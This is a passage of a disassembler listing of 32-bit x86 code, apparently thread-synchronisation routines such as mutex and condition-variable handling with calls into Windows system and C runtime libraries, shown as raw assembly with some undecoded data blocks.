mov edi, eax
add esp, 4
test edi, edi
jnz short loc_43015E
lea eax, [esi+14h]
push eax
call sub_401690
mov edi, eax
add esp, 4
test edi, edi
jnz short loc_43014F
push esi
call near ptr 77C2C21Bh
nop
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43014F: ; CODE XREF: ___:0043013Cj
mov ecx, [esi+0Ch]
push 0
push ecx
push ebx
call sub_401C8A
add esp, 0Ch
loc_43015E: ; CODE XREF: ___:0043012Aj
mov eax, edi
mov [ebp+0], esi
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_430168: ; CODE XREF: ___:0043010Aj
; ___:00430111j
pop edi
pop esi
pop ebp
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4301A0: ; CODE XREF: ___:004017A3j
mov eax, [esp+4]
push esi
test eax, eax
jz loc_430254
mov esi, [eax]
test esi, esi
jz loc_430254
push ebp
lea ebp, [esi+8]
push edi
push esi
mov edi, [ebp+0]
nop
call near ptr 278076Dh
test eax, eax
jnz short loc_4301E7
mov eax, [esi+4]
cmp eax, 1
mov [esi], eax
jbe short loc_430234
dec eax
push eax
lea eax, [esi+edi*4+10h]
push eax
call sub_402068
add esp, 8
mov esi, eax
jmp short loc_430230
; ---------------------------------------------------------------------------
loc_4301E7: ; CODE XREF: ___:004301C8j
push ebx
call sub_4012E4
; ---------------------------------------------------------------------------
mov ecx, [eax+34h]
mov ebx, 1
cmp ecx, ebx
jnz short loc_43020B
lea ecx, [esp+14h]
push ecx
push ebx
call sub_401415
; ---------------------------------------------------------------------------
add esp, 8
test eax, eax
jz short loc_43020D
loc_43020B: ; CODE XREF: ___:004301F7j
xor ebx, ebx
loc_43020D: ; CODE XREF: ___:00430209j
lea edx, [esi+edi*4+10h]
push edx
call sub_401041
add esp, 4
mov esi, eax
test ebx, ebx
pop ebx
jz short loc_430230
mov eax, [esp+10h]
push 0
push eax
call sub_401415
; ---------------------------------------------------------------------------
add esp, 8
loc_430230: ; CODE XREF: ___:004301E5j
; ___:0043021Fj
test esi, esi
jnz short loc_43024E
loc_430234: ; CODE XREF: ___:004301D2j
mov ecx, 1
push edi
sub ecx, edi
push ecx
push ebp
call dword_5103C8 ; InterlockedCompareExchange
xor edx, edx
cmp edi, eax
setnz dl
dec edx
mov esi, edx
loc_43024E: ; CODE XREF: ___:00430232j
pop edi
mov eax, esi
pop ebp
pop esi
retn
; ---------------------------------------------------------------------------
loc_430254: ; CODE XREF: ___:004301A7j
; ___:004301B1j
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430290: ; CODE XREF: ___:00401F6Ej
push esi
push 4
push 1
xor esi, esi
nop
call near ptr 77C2C0C3h
add esp, 8
test eax, eax
jnz short loc_4302B3
mov edx, [esp+8]
mov ecx, 0Ch
pop esi
mov [edx], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_4302B3: ; CODE XREF: ___:004302A2j
mov ecx, [esp+8]
mov dword ptr [eax], 0
mov [ecx], eax
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4302E0: ; CODE XREF: ___:00401A87j
mov ecx, [esp+4]
push esi
xor esi, esi
test ecx, ecx
jz short loc_430301
mov eax, [ecx]
test eax, eax
jz short loc_430301
push eax
mov [ecx], esi
nop
call near ptr 77C2C21Bh
add esp, 4
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_430301: ; CODE XREF: ___:004302E9j
; ___:004302EFj
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430320: ; CODE XREF: ___:0040127Bj
mov eax, [esp+4]
test eax, eax
jz short loc_43033D
mov eax, [eax]
test eax, eax
jz short loc_43033D
mov ecx, [esp+8]
test ecx, ecx
jz short loc_43033D
mov eax, [eax]
mov [ecx], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_43033D: ; CODE XREF: ___:00430326j
; ___:0043032Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430360: ; CODE XREF: ___:00401636j
mov eax, [esp+4]
test eax, eax
jz short loc_43038A
mov ecx, [eax]
test ecx, ecx
jz short loc_43038A
mov eax, [esp+8]
cmp eax, 1
jz short loc_43037E
test eax, eax
jnz short loc_43038A
mov [ecx], eax
retn
; ---------------------------------------------------------------------------
loc_43037E: ; CODE XREF: ___:00430375j
mov eax, 28h
mov dword ptr [ecx], 0
retn
; ---------------------------------------------------------------------------
loc_43038A: ; CODE XREF: ___:00430366j
; ___:0043036Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4303A0 proc near ; CODE XREF: sub_401415j
push esi
push edi
call sub_4012E4
sub_4303A0 endp
; ---------------------------------------------------------------------------
db 8Bh
dd 74F685F0h, 247C8B7Bh, 74FF850Ch, 1FF8305h, 8D536E75h
dd 0E8532C5Eh, 0FFFD1E84h, 1824448Bh, 8504C483h, 8B0574C0h
dd 889304Eh, 7E89FF85h, 8B3E7530h, 0C0853446h, 568B3775h
dd 90525738h, 35007CE8h, 75C08502h, 38468B28h, 30C46C7h
dd 50000000h, 13046C7h, 0E8000000h, 2350168h, 0B4E85390h
dd 6AFFFD0Ch, 19D7E802h, 0C483FFFDh, 0A4E85308h, 83FFFD0Ch
dd 0C03304C4h, 0C35E5F5Bh, 16B85Fh, 0C35E0000h, 0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
loc_430460: ; CODE XREF: ___:00402261j
push ebx
push esi
call sub_4012E4
; ---------------------------------------------------------------------------
db 8Bh
dd 74F685F0h, 245C8B7Bh, 1FB830Ch, 0DB850474h, 8D576E75h
dd 0E8572C7Eh, 0FFFD1DC4h, 1824448Bh, 8504C483h, 8B0574C0h
dd 889344Eh, 8930468Bh, 0C085345Eh, 0DB853B75h, 568B3775h
dd 90525338h, 34FFBCE8h, 75C08502h, 38468B28h, 30C46C7h
dd 50000000h, 13046C7h, 90000000h, 3500A7E8h, 0F4E85702h
dd 6AFFFD0Bh, 1917E802h, 0C483FFFDh, 0E4E85708h, 83FFFD0Bh
dd 0C03304C4h, 0C35B5E5Fh, 16B85Eh, 0C35B0000h, 0Ch dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_430520 proc near ; CODE XREF: sub_401D02j
push esi
push edi
call sub_4012E4
sub_430520 endp
; ---------------------------------------------------------------------------
db 8Bh
dd 2C7E8DF0h, 1D16E857h, 0C483FFFDh, 74F68504h, 307E8334h
dd 8B2E7401h, 6A3846h, 1EE89050h, 850234FFh, 571E75C0h
dd 30C46C7h, 0C7000000h, 13046h, 60E80000h, 6AFFFD0Bh
dd 1883E802h, 0C483FFFDh, 50E85708h, 83FFFD0Bh, 5E5F04C4h
dd 909090C3h, 90909090h, 8 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
loc_4305A0: ; CODE XREF: ___:00401D39j
sub esp, 2D0h
push esi
mov esi, [esp+2D8h]
push 0
push esi
call sub_401762
add esp, 8
mov [esp+4], eax
test eax, eax
jnz loc_4306D9
call sub_4012E4
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_4305DB
mov eax, 0Ch
pop esi
add esp, 2D0h
retn
; ---------------------------------------------------------------------------
loc_4305DB: ; CODE XREF: ___:004305CCj
push ebx
push ebp
push edi
push eax
push esi
call sub_401A64
lea ebx, [esi+2Ch]
mov edi, eax
push ebx
call sub_402248
mov eax, [esi+34h]
add esp, 0Ch
test eax, eax
mov ebp, 3
jnz loc_4306B2
mov eax, [esi+30h]
test eax, eax
jnz loc_4306B2
cmp [esi+0Ch], ebp
jge loc_4306C5
test edi, edi
jz short loc_430644
push ebx
mov [esi+0Ch], ebp
mov dword ptr [esi+30h], 1
call sub_4010C3
push 2
call sub_401DED
; ---------------------------------------------------------------------------
mov eax, [esp+18h]
add esp, 8
pop edi
pop ebp
pop ebx
pop esi
add esp, 2D0h
retn
; ---------------------------------------------------------------------------
loc_430644: ; CODE XREF: ___:00430619j
mov edi, [esi+4]
push edi
nop
call near ptr 2770982h
push 0
push edi
nop
call near ptr 2780469h
cmp eax, 102h
jnz short loc_4306D2
lea eax, [esp+14h]
mov [esi+0Ch], ebp
push eax
push edi
mov dword ptr [esi+30h], 1
mov dword ptr [esp+1Ch], 10001h
nop
call near ptr 2770B7Fh
lea ecx, [esp+14h]
mov dword ptr [esp+0CCh], offset loc_430750
push ecx
push edi
call near ptr 2770D73h
nop
push ebx
call sub_4010C3
add esp, 4
push edi
call near ptr 2780000h
nop
mov eax, [esp+10h]
pop edi
pop ebp
pop ebx
pop esi
add esp, 2D0h
retn
; ---------------------------------------------------------------------------
loc_4306B2: ; CODE XREF: ___:004305FDj
; ___:00430608j
cmp [esi+0Ch], ebp
jge short loc_4306C5
mov edx, [esi+38h]
push edx
nop
call near ptr 27802D5h
test eax, eax
jnz short loc_4306C9
loc_4306C5: ; CODE XREF: ___:00430611j
; ___:004306B5j
mov [esp+10h], ebp
loc_4306C9: ; CODE XREF: ___:004306C3j
push ebx
call sub_4010C3
add esp, 4
loc_4306D2: ; CODE XREF: ___:0043065Cj
mov eax, [esp+10h]
pop edi
pop ebp
pop ebx
loc_4306D9: ; CODE XREF: ___:004305BFj
pop esi
add esp, 2D0h
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 60h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430750: ; DATA XREF: ___:00430680o
push 2
call sub_401DED
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_430770 proc near ; CODE XREF: sub_401122j
mov eax, dword_5103B8
push esi
push eax
call sub_401190
sub_430770 endp
; ---------------------------------------------------------------------------
mov esi, eax
add esp, 4
test esi, esi
jz short loc_4307AE
mov eax, [esp+8]
test eax, eax
jz short loc_43079C
mov eax, [esi]
test eax, eax
jz short loc_43079C
mov ecx, [esi+4]
push ecx
call eax
add esp, 4
loc_43079C: ; CODE XREF: ___:0043078Bj
; ___:00430791j
mov edx, [esi+8]
mov eax, dword_5103B8
push edx
push eax
call sub_4020F9
; ---------------------------------------------------------------------------
add esp, 8
loc_4307AE: ; CODE XREF: ___:00430783j
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4307E0 proc near ; CODE XREF: sub_401663j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
mov ecx, [esp+arg_8]
push esi
mov esi, [esp+4+arg_0]
mov [esi], eax
mov [esi+4], ecx
mov edx, dword_5103B8
push edx
call sub_401190
sub_4307E0 endp
; ---------------------------------------------------------------------------
mov [esi+8], eax
mov eax, dword_5103B8
push esi
push eax
call sub_4020F9
; ---------------------------------------------------------------------------
add esp, 0Ch
pop esi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430830 proc near ; CODE XREF: sub_401B63j
arg_0 = dword ptr 4
push esi
push offset dword_510900
xor esi, esi
nop
call near ptr 7C901005h
mov ecx, [esp+4+arg_0]
mov eax, [ecx]
cmp eax, 0FFFFFFFFh
jnz short loc_430864
push esi
push ecx
call sub_40154B
add esp, 8
mov esi, eax
push offset dword_510900
call near ptr 7C9010EDh
nop
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_430864: ; CODE XREF: sub_430830+17j
test eax, eax
jnz short loc_43086D
mov esi, 16h
loc_43086D: ; CODE XREF: sub_430830+36j
push offset dword_510900
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
sub_430830 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4308A0: ; CODE XREF: ___:0040211Cj
push esi
push 4
push 1
xor esi, esi
nop
call near ptr 77C2C0C3h
add esp, 8
test eax, eax
jnz short loc_4308C3
mov edx, [esp+8]
mov ecx, 0Ch
pop esi
mov [edx], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_4308C3: ; CODE XREF: ___:004308B2j
mov ecx, [esp+8]
mov [ecx], eax
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4308E0: ; CODE XREF: ___:004021F3j
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_430903
mov eax, [esi]
test eax, eax
jz short loc_430903
push eax
nop
call near ptr 77C2C21Bh
add esp, 4
mov dword ptr [esi], 0
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_430903: ; CODE XREF: ___:004308E7j
; ___:004308EDj
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430920: ; CODE XREF: ___:00401005j
mov eax, [esp+4]
test eax, eax
jz short loc_43093D
mov eax, [eax]
test eax, eax
jz short loc_43093D
mov ecx, [esp+8]
test ecx, ecx
jz short loc_43093D
mov eax, [eax]
mov [ecx], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_43093D: ; CODE XREF: ___:00430926j
; ___:0043092Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430960: ; CODE XREF: ___:004012ADj
mov eax, [esp+4]
test eax, eax
jz short loc_43098A
mov ecx, [eax]
test ecx, ecx
jz short loc_43098A
mov eax, [esp+8]
cmp eax, 1
jz short loc_43097E
test eax, eax
jnz short loc_43098A
mov [ecx], eax
retn
; ---------------------------------------------------------------------------
loc_43097E: ; CODE XREF: ___:00430975j
mov eax, 28h
mov dword ptr [ecx], 0
retn
; ---------------------------------------------------------------------------
loc_43098A: ; CODE XREF: ___:00430966j
; ___:0043096Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4309A0 proc near ; CODE XREF: sub_40154Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
xor edi, edi
xor esi, esi
cmp eax, edi
jnz short loc_4309B6
pop edi
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_4309B6: ; CODE XREF: sub_4309A0+Cj
mov eax, [esp+8+arg_4]
push ebx
cmp eax, edi
push ebp
jz short loc_4309DD
mov eax, [eax]
cmp eax, edi
jz short loc_4309DD
cmp dword ptr [eax], 1
jnz short loc_4309DD
mov edx, [esp+10h+arg_0]
mov edi, 28h
pop ebp
mov eax, edi
pop ebx
mov [edx], esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4309DD: ; CODE XREF: sub_4309A0+1Ej
; sub_4309A0+24j ...
push 20h
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
cmp esi, edi
jnz short loc_430A02
mov edx, [esp+10h+arg_0]
mov edi, 0Ch
pop ebp
mov eax, edi
pop ebx
mov [edx], esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_430A02: ; CODE XREF: sub_4309A0+4Ej
lea ebp, [esi+10h]
push 1
push edi
push ebp
mov [esi], edi
mov [esi+8], edi
mov [esi+4], edi
call sub_401C8A
add esp, 0Ch
test eax, eax
jz short loc_430A27
call near ptr 77C1F2BCh
nop
mov edi, [eax]
jmp short loc_430A6B
; ---------------------------------------------------------------------------
loc_430A27: ; CODE XREF: sub_4309A0+7Bj
lea ebx, [esi+0Ch]
push 0
push 0
push ebx
call sub_401C8A
add esp, 0Ch
test eax, eax
jz short loc_430A45
nop
call near ptr 77C1F2BCh
mov edi, [eax]
jmp short loc_430A62
; ---------------------------------------------------------------------------
loc_430A45: ; CODE XREF: sub_4309A0+99j
lea eax, [esi+14h]
push 0
push eax
call sub_4021BC
mov edi, eax
add esp, 8
test edi, edi
jz short loc_430ACF
push ebx
call sub_401690
add esp, 4
loc_430A62: ; CODE XREF: sub_4309A0+A3j
push ebp
call sub_401690
add esp, 4
loc_430A6B: ; CODE XREF: sub_4309A0+85j
push esi
nop
call near ptr 77C2C21Bh
add esp, 4
xor esi, esi
test edi, edi
jnz short loc_430AC2
loc_430A7B: ; CODE XREF: sub_4309A0+131j
push offset dword_510980
nop
call near ptr 7C901005h
mov dword ptr [esi+18h], 0
mov ecx, dword_5103C0
mov [esi+1Ch], ecx
mov eax, dword_5103C0
test eax, eax
jz short loc_430AA2
mov [eax+18h], esi
loc_430AA2: ; CODE XREF: sub_4309A0+FDj
mov eax, dword_5103BC
mov dword_5103C0, esi
test eax, eax
jnz short loc_430AB7
mov dword_5103BC, esi
loc_430AB7: ; CODE XREF: sub_4309A0+10Fj
push offset dword_510980
nop
call near ptr 7C9010EDh
loc_430AC2: ; CODE XREF: sub_4309A0+D9j
mov edx, [esp+10h+arg_0]
pop ebp
mov eax, edi
pop ebx
mov [edx], esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_430ACF: ; CODE XREF: sub_4309A0+B7j
xor edi, edi
jmp short loc_430A7B
sub_4309A0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430B30 proc near ; CODE XREF: sub_401AA5j
var_4 = dword ptr -4
arg_0 = dword ptr 4
push ecx
push ebx
push ebp
push esi
push edi
mov edi, [esp+14h+arg_0]
xor esi, esi
xor ebp, ebp
xor ebx, ebx
test edi, edi
mov [esp+14h+var_4], ebp
jz loc_430CDC
mov eax, [edi]
test eax, eax
jz loc_430CDC
cmp eax, 0FFFFFFFFh
jz loc_430C93
push offset dword_510980
nop
call near ptr 7C901005h
mov esi, [edi]
lea ebx, [esi+10h]
push ebx
call sub_401041
add esp, 4
test eax, eax
jz short loc_430B89
nop
call near ptr 77C1F2BCh
mov eax, [eax]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_430B89: ; CODE XREF: sub_430B30+49j
lea ebp, [esi+14h]
push ebp
call sub_401785
add esp, 4
mov [esp+14h+arg_0], eax
test eax, eax
jz short loc_430BB0
push ebx
call sub_40103C
mov eax, [esp+18h+arg_0]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_430BB0: ; CODE XREF: sub_430B30+6Bj
mov eax, [esi]
mov ecx, [esi+4]
cmp eax, ecx
jle short loc_430BE9
push ebx
call sub_40103C
add esp, 4
test eax, eax
jz short loc_430BD2
nop
call near ptr 77C1F2BCh
mov ecx, [eax]
mov [esp+14h+arg_0], ecx
loc_430BD2: ; CODE XREF: sub_430B30+94j
push ebp
call sub_4010C3
add esp, 4
mov [esp+14h+var_4], eax
mov ebx, 10h
jmp loc_430C7E
; ---------------------------------------------------------------------------
loc_430BE9: ; CODE XREF: sub_430B30+87j
push ebx
mov dword ptr [edi], 0
call sub_401690
mov edi, dword_511A70
add esp, 4
test eax, eax
jz short loc_430C0A
call edi ; _errno
mov edx, [eax]
mov [esp+14h+arg_0], edx
loc_430C0A: ; CODE XREF: sub_430B30+D0j
lea eax, [esi+0Ch]
push eax
call sub_401690
add esp, 4
test eax, eax
jz short loc_430C22
call edi ; _errno
mov ecx, [eax]
mov [esp+14h+var_4], ecx
loc_430C22: ; CODE XREF: sub_430B30+E8j
push ebp
call sub_4010C3
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_430C3C
push ebp
call sub_402252
add esp, 4
mov ebx, eax
loc_430C3C: ; CODE XREF: sub_430B30+FFj
cmp dword_5103BC, esi
jnz short loc_430C4F
mov edx, [esi+18h]
mov dword_5103BC, edx
jmp short loc_430C58
; ---------------------------------------------------------------------------
loc_430C4F: ; CODE XREF: sub_430B30+112j
mov eax, [esi+1Ch]
mov ecx, [esi+18h]
mov [eax+18h], ecx
loc_430C58: ; CODE XREF: sub_430B30+11Dj
cmp dword_5103C0, esi
jnz short loc_430C6B
mov edx, [esi+1Ch]
mov dword_5103C0, edx
jmp short loc_430C74
; ---------------------------------------------------------------------------
loc_430C6B: ; CODE XREF: sub_430B30+12Ej
mov eax, [esi+18h]
mov ecx, [esi+1Ch]
mov [eax+1Ch], ecx
loc_430C74: ; CODE XREF: sub_430B30+139j
push esi
nop
call near ptr 77C2C21Bh
add esp, 4
loc_430C7E: ; CODE XREF: sub_430B30+B4j
push offset dword_510980
nop
call near ptr 7C9010EDh
mov esi, [esp+14h+arg_0]
mov ebp, [esp+14h+var_4]
jmp short loc_430CC2
; ---------------------------------------------------------------------------
loc_430C93: ; CODE XREF: sub_430B30+28j
push offset dword_510900
nop
call near ptr 7C901005h
cmp dword ptr [edi], 0FFFFFFFFh
jnz short loc_430CAB
mov dword ptr [edi], 0
jmp short loc_430CB7
; ---------------------------------------------------------------------------
loc_430CAB: ; CODE XREF: sub_430B30+171j
mov [esp+14h+arg_0], 10h
mov esi, [esp+14h+arg_0]
loc_430CB7: ; CODE XREF: sub_430B30+179j
push offset dword_510900
call near ptr 7C9010EDh
nop
loc_430CC2: ; CODE XREF: sub_430B30+161j
test esi, esi
jz short loc_430CCE
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_430CCE: ; CODE XREF: sub_430B30+194j
test ebp, ebp
mov eax, ebp
jnz short loc_430CE1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_430CDC: ; CODE XREF: sub_430B30+15j
; sub_430B30+1Fj
mov eax, 16h
loc_430CE1: ; CODE XREF: sub_430B30+1A2j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_430B30 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430D60 proc near ; CODE XREF: sub_401203j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push 0
push eax
push ecx
call sub_430D90
add esp, 0Ch
retn
sub_430D60 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430D90 proc near ; CODE XREF: sub_430D60+Cp
; sub_431060+19p
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 20h
push esi
mov esi, [esp+24h+arg_0]
test esi, esi
push edi
mov [esp+28h+var_20], 0
jz loc_430E99
mov eax, [esi]
test eax, eax
jz loc_430E99
cmp eax, 0FFFFFFFFh
jnz short loc_430DD2
push esi
call sub_401B63
add esp, 4
mov [esp+28h+var_20], eax
test eax, eax
jz short loc_430DD2
cmp eax, 10h
jnz loc_430E9E
loc_430DD2: ; CODE XREF: sub_430D90+26j
; sub_430D90+37j
mov esi, [esi]
lea edi, [esi+10h]
push edi
call sub_401041
add esp, 4
test eax, eax
jz short loc_430DF2
nop
call near ptr 77C1F2BCh
mov eax, [eax]
pop edi
pop esi
add esp, 20h
retn
; ---------------------------------------------------------------------------
loc_430DF2: ; CODE XREF: sub_430D90+52j
mov ecx, [esi]
push edi
inc ecx
mov [esi], ecx
call sub_40103C
add esp, 4
test eax, eax
jz short loc_430E12
nop
call near ptr 77C1F2BCh
mov eax, [eax]
pop edi
pop esi
add esp, 20h
retn
; ---------------------------------------------------------------------------
loc_430E12: ; CODE XREF: sub_430D90+72j
mov edi, [esp+28h+arg_4]
lea ecx, [esp+28h+var_10]
push ecx
lea edx, [esp+2Ch+var_1C]
lea eax, [esp+2Ch+var_20]
push offset loc_430F00
push edx
mov [esp+34h+var_10], edi
mov [esp+34h+var_C], esi
mov [esp+34h+var_8], eax
mov [esp+34h+var_4], 0
call sub_401663
; ---------------------------------------------------------------------------
dw 0E857h
dd 0FFFD027Bh, 8910C483h, 85082444h, 8B2775C0h, 83342444h
dd 56500CC6h, 0FD0A46E8h, 8C483FFh, 0E74C085h, 0E44EE890h
dd 8B777Eh, 8244489h, 448B04EBh, 0C9330824h, 0C085016Ah
dd 89C1940Fh, 0E828244Ch, 0FFFD0296h, 0C24448Bh, 5F04C483h
dd 20C4835Eh
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_430E99: ; CODE XREF: sub_430D90+13j
; sub_430D90+1Dj
mov eax, 16h
loc_430E9E: ; CODE XREF: sub_430D90+3Cj
pop edi
pop esi
add esp, 20h
retn
sub_430D90 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430F00: ; DATA XREF: sub_430D90+93o
push ecx
push ebx
push ebp
mov ebp, [esp+10h]
push esi
push edi
mov esi, [ebp+4]
mov ebx, [ebp+8]
mov [esp+18h], ebx
lea edi, [esi+14h]
push edi
call sub_402248
add esp, 4
test eax, eax
jz short loc_430F2B
pop edi
pop esi
mov [ebx], eax
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_430F2B: ; CODE XREF: ___:00430F21j
mov ebx, [esi+8]
test ebx, ebx
mov [esp+10h], ebx
jz short loc_430F3E
lea eax, [ebx-1]
mov [esi+8], eax
jmp short loc_430FA7
; ---------------------------------------------------------------------------
loc_430F3E: ; CODE XREF: ___:00430F34j
mov ecx, [esi+4]
inc ecx
mov eax, ecx
mov [esi+4], ecx
cmp eax, 3FFFFFFFh
jnz short loc_430FA7
lea ebx, [esi+10h]
push ebx
call sub_401041
add esp, 4
test eax, eax
jz short loc_430F72
nop
call near ptr 77C1F2BCh
mov edx, [esp+18h]
mov ecx, [eax]
pop edi
pop esi
pop ebp
mov [edx], ecx
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_430F72: ; CODE XREF: ___:00430F5Cj
mov eax, [esi+4]
mov ecx, [esi]
sub ecx, eax
push ebx
mov [esi], ecx
call sub_40103C
add esp, 4
test eax, eax
jz short loc_430F9C
nop
call near ptr 77C1F2BCh
mov edx, [esp+18h]
mov ecx, [eax]
pop edi
pop esi
pop ebp
mov [edx], ecx
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_430F9C: ; CODE XREF: ___:00430F86j
mov ebx, [esp+10h]
mov dword ptr [esi+4], 0
loc_430FA7: ; CODE XREF: ___:00430F3Cj
; ___:00430F4Cj
push edi
call sub_4010C3
add esp, 4
test eax, eax
jz short loc_430FC0
mov ecx, [esp+18h]
pop edi
pop esi
pop ebp
mov [ecx], eax
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_430FC0: ; CODE XREF: ___:00430FB2j
cmp ebx, 1
jnz short loc_430FE9
add esi, 10h
push esi
call sub_40103C
add esp, 4
test eax, eax
jz short loc_430FE9
nop
call near ptr 77C1F2BCh
mov edx, [eax]
mov eax, [esp+18h]
pop edi
pop esi
pop ebp
mov [eax], edx
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_430FE9: ; CODE XREF: ___:00430FC3j
; ___:00430FD3j
mov ecx, [ebp+0]
push ecx
call sub_402248
add esp, 4
test eax, eax
jz short loc_430FFF
mov edx, [esp+18h]
mov [edx], eax
loc_430FFF: ; CODE XREF: ___:00430FF7j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431060 proc near ; CODE XREF: sub_4011E0j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
test eax, eax
jnz short loc_43106E
mov eax, 16h
retn
; ---------------------------------------------------------------------------
loc_43106E: ; CODE XREF: sub_431060+6j
mov ecx, [esp+arg_0]
push eax
mov eax, [esp+4+arg_4]
push eax
push ecx
call sub_430D90
add esp, 0Ch
retn
sub_431060 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4310A0 proc near ; CODE XREF: sub_401E6Fj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_4310C0
add esp, 8
retn
sub_4310A0 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4310C0 proc near ; CODE XREF: sub_4310A0+7p
; sub_431220+7p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push ebx
push esi
push edi
test eax, eax
jz loc_4311C4
mov esi, [eax]
test esi, esi
jz loc_4311C4
cmp esi, 0FFFFFFFFh
jnz short loc_4310E4
pop edi
pop esi
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4310E4: ; CODE XREF: sub_4310C0+1Cj
lea ebx, [esi+14h]
push ebx
call sub_402248
add esp, 4
test eax, eax
jnz loc_4311C9
mov ecx, [esi+8]
